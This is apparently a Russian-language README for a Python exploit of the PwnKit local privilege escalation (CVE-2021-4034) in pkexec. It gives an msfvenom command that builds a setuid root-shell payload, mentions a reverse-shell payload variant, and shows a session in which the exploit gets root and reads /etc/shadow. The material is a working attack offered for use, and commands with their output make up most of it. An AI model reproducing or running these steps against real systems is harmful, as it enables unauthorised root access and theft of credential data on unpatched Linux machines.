
Эксплойт на Python для CVE-2021-4034 (PwnKit), который повышает привилегии до root через pkexec, создавая root-оболочку с помощью полезных нагрузок msfvenom.
Python3-код для эксплуатации CVE-2021-4034 (PWNKIT). Это было упражнение в духе «могу ли я заставить это работать на Python?», а не попытка создать надёжный эксплойт. У меня это работает, но, вероятно, есть баги.
Полезная нагрузка по умолчанию запускает оболочку от имени root, сгенерированную с помощью msfvenom:
msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
Я также тестировал linux/x64/shell_reverse_tcp. Убедитесь, что вы включаете
аргумент PrependSetuid=true для msfvenom, иначе вы просто получите
оболочку от имени пользователя, а не root.
Код позаимствован у blasty, оригинал доступен здесь
$ python CVE-2021-4034.py
[+] Создание общей библиотеки для кода эксплойта.
[+] Вызов execve()
# id
uid=0(root) gid=1000(jra) groups=1000(jra),4(adm),27(sudo),119(lpadmin),998(lxd)
# whoami
root
# head /etc/shadow
root:*:18709:0:99999:7:::
daemon:*:18709:0:99999:7:::
bin:*:18709:0:99999:7:::
sys:*:18709:0:99999:7:::
sync:*:18709:0:99999:7:::
games:*:18709:0:99999:7:::
man:*:18709:0:99999:7:::
lp:*:18709:0:99999:7:::
mail:*:18709:0:99999:7:::
news:*:18709:0:99999:7:::
#